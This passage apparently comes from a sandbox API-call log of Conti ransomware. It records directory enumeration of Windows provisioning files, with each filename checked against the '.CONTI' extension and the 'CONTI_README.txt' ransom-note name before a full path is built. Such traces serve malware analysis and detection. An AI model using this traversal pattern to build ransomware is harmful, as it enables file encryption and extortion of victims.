	[0109.500] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9102401b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9102401b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9102401b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bd, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="444__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml", cAlternateFileName="444__C~1.PRO")) returned 1
	[0109.500] lstrcmpiW (lpString1="444__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.500] lstrcmpiW (lpString1="444__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.500] StrStrIW (lpFirst="444__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.500] StrStrIW (lpFirst="444__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.500] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.500] lstrlenW (lpString="444__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml") returned 64
	[0109.500] GetProcessHeap () returned 0x1720000
	[0109.500] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x136) returned 0x18086b0
	[0109.500] lstrcpyW (in: lpString1=0x18086b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.500] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.501] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="444__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\444__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\444__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml"
	[0109.501] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9102401b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9102401b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9102401b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d9, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="445__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="445__C~1.PRO")) returned 1
	[0109.501] lstrcmpiW (lpString1="445__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0109.501] lstrcmpiW (lpString1="445__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0109.501] StrStrIW (lpFirst="445__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.501] StrStrIW (lpFirst="445__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.501] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.501] lstrlenW (lpString="445__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0109.501] GetProcessHeap () returned 0x1720000
	[0109.501] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x6b80ac0
	[0109.501] lstrcpyW (in: lpString1=0x6b80ac0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.501] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.501] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="445__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\445__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\445__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.501] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9102401b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9102401b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9102401b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x287, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="446__Connections_Cellular_DTAC (Thailand)_i0$(__MVID)@WAP.provxml", cAlternateFileName="446__C~1.PRO")) returned 1
	[0109.501] lstrcmpiW (lpString1="446__Connections_Cellular_DTAC (Thailand)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.501] lstrcmpiW (lpString1="446__Connections_Cellular_DTAC (Thailand)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.501] StrStrIW (lpFirst="446__Connections_Cellular_DTAC (Thailand)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.501] StrStrIW (lpFirst="446__Connections_Cellular_DTAC (Thailand)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.501] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.501] lstrlenW (lpString="446__Connections_Cellular_DTAC (Thailand)_i0$(__MVID)@WAP.provxml") returned 65
	[0109.501] GetProcessHeap () returned 0x1720000
	[0109.501] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x1806e58
	[0109.501] lstrcpyW (in: lpString1=0x1806e58, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.501] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.501] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="446__Connections_Cellular_DTAC (Thailand)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\446__Connections_Cellular_DTAC (Thailand)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\446__Connections_Cellular_DTAC (Thailand)_i0$(__MVID)@WAP.provxml"
	[0109.501] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9102401b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9102401b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9102401b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x307, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="447__Connections_Cellular_Orange (Thailand)_i0$(__MVID)@WAP.provxml", cAlternateFileName="447__C~1.PRO")) returned 1
	[0109.501] lstrcmpiW (lpString1="447__Connections_Cellular_Orange (Thailand)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.501] lstrcmpiW (lpString1="447__Connections_Cellular_Orange (Thailand)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.501] StrStrIW (lpFirst="447__Connections_Cellular_Orange (Thailand)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.501] StrStrIW (lpFirst="447__Connections_Cellular_Orange (Thailand)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.502] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.502] lstrlenW (lpString="447__Connections_Cellular_Orange (Thailand)_i0$(__MVID)@WAP.provxml") returned 67
	[0109.502] GetProcessHeap () returned 0x1720000
	[0109.502] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x18074c0
	[0109.502] lstrcpyW (in: lpString1=0x18074c0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.502] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.502] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="447__Connections_Cellular_Orange (Thailand)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\447__Connections_Cellular_Orange (Thailand)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\447__Connections_Cellular_Orange (Thailand)_i0$(__MVID)@WAP.provxml"
	[0109.502] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9102401b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9102401b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9102401b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x313, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="448__Connections_Cellular_Orascom (Tunisia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="448__C~1.PRO")) returned 1
	[0109.502] lstrcmpiW (lpString1="448__Connections_Cellular_Orascom (Tunisia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.502] lstrcmpiW (lpString1="448__Connections_Cellular_Orascom (Tunisia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.502] StrStrIW (lpFirst="448__Connections_Cellular_Orascom (Tunisia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.502] StrStrIW (lpFirst="448__Connections_Cellular_Orascom (Tunisia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.502] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.502] lstrlenW (lpString="448__Connections_Cellular_Orascom (Tunisia)_i0$(__MVID)@WAP.provxml") returned 67
	[0109.502] GetProcessHeap () returned 0x1720000
	[0109.502] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x1808420
	[0109.502] lstrcpyW (in: lpString1=0x1808420, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.502] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.502] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="448__Connections_Cellular_Orascom (Tunisia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\448__Connections_Cellular_Orascom (Tunisia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\448__Connections_Cellular_Orascom (Tunisia)_i0$(__MVID)@WAP.provxml"
	[0109.502] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9104a28e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9104a28e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9104a28e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="449__Connections_Cellular_Avea (Turkey)_i0$(__MVID)@WAP.provxml", cAlternateFileName="449__C~1.PRO")) returned 1
	[0109.502] lstrcmpiW (lpString1="449__Connections_Cellular_Avea (Turkey)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.502] lstrcmpiW (lpString1="449__Connections_Cellular_Avea (Turkey)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.502] StrStrIW (lpFirst="449__Connections_Cellular_Avea (Turkey)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.502] StrStrIW (lpFirst="449__Connections_Cellular_Avea (Turkey)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.502] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.502] lstrlenW (lpString="449__Connections_Cellular_Avea (Turkey)_i0$(__MVID)@WAP.provxml") returned 63
	[0109.502] GetProcessHeap () returned 0x1720000
	[0109.502] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x134) returned 0x1808568
	[0109.502] lstrcpyW (in: lpString1=0x1808568, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.502] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.502] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="449__Connections_Cellular_Avea (Turkey)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\449__Connections_Cellular_Avea (Turkey)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\449__Connections_Cellular_Avea (Turkey)_i0$(__MVID)@WAP.provxml"
	[0109.503] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90247f0e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90247f0e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90247f0e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x309, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="44__Connections_Cellular_BASE NV-SA (Belgium)_i0$(__MVID)@WAP.provxml", cAlternateFileName="44__CO~1.PRO")) returned 1
	[0109.503] lstrcmpiW (lpString1="44__Connections_Cellular_BASE NV-SA (Belgium)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.503] lstrcmpiW (lpString1="44__Connections_Cellular_BASE NV-SA (Belgium)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.503] StrStrIW (lpFirst="44__Connections_Cellular_BASE NV-SA (Belgium)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.503] StrStrIW (lpFirst="44__Connections_Cellular_BASE NV-SA (Belgium)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.503] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.503] lstrlenW (lpString="44__Connections_Cellular_BASE NV-SA (Belgium)_i0$(__MVID)@WAP.provxml") returned 69
	[0109.503] GetProcessHeap () returned 0x1720000
	[0109.503] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x18087f8
	[0109.503] lstrcpyW (in: lpString1=0x18087f8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.503] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.503] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="44__Connections_Cellular_BASE NV-SA (Belgium)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\44__Connections_Cellular_BASE NV-SA (Belgium)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\44__Connections_Cellular_BASE NV-SA (Belgium)_i0$(__MVID)@WAP.provxml"
	[0109.503] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9104a28e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9104a28e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9104a28e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="450__Connections_Cellular_KKTCELL (Turkey)_i0$(__MVID)@WAP.provxml", cAlternateFileName="450__C~1.PRO")) returned 1
	[0109.503] lstrcmpiW (lpString1="450__Connections_Cellular_KKTCELL (Turkey)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.503] lstrcmpiW (lpString1="450__Connections_Cellular_KKTCELL (Turkey)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.503] StrStrIW (lpFirst="450__Connections_Cellular_KKTCELL (Turkey)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.503] StrStrIW (lpFirst="450__Connections_Cellular_KKTCELL (Turkey)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.503] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.503] lstrlenW (lpString="450__Connections_Cellular_KKTCELL (Turkey)_i0$(__MVID)@WAP.provxml") returned 66
	[0109.503] GetProcessHeap () returned 0x1720000
	[0109.503] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x1808940
	[0109.503] lstrcpyW (in: lpString1=0x1808940, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.503] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.503] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="450__Connections_Cellular_KKTCELL (Turkey)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\450__Connections_Cellular_KKTCELL (Turkey)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\450__Connections_Cellular_KKTCELL (Turkey)_i0$(__MVID)@WAP.provxml"
	[0109.503] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9104a28e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9104a28e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9104a28e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="451__Connections_Cellular_Turkcell (Turkey)_i0$(__MVID)@WAP.provxml", cAlternateFileName="451__C~1.PRO")) returned 1
	[0109.503] lstrcmpiW (lpString1="451__Connections_Cellular_Turkcell (Turkey)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.503] lstrcmpiW (lpString1="451__Connections_Cellular_Turkcell (Turkey)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.503] StrStrIW (lpFirst="451__Connections_Cellular_Turkcell (Turkey)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.503] StrStrIW (lpFirst="451__Connections_Cellular_Turkcell (Turkey)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.504] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.504] lstrlenW (lpString="451__Connections_Cellular_Turkcell (Turkey)_i0$(__MVID)@WAP.provxml") returned 67
	[0109.504] GetProcessHeap () returned 0x1720000
	[0109.504] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x1808a88
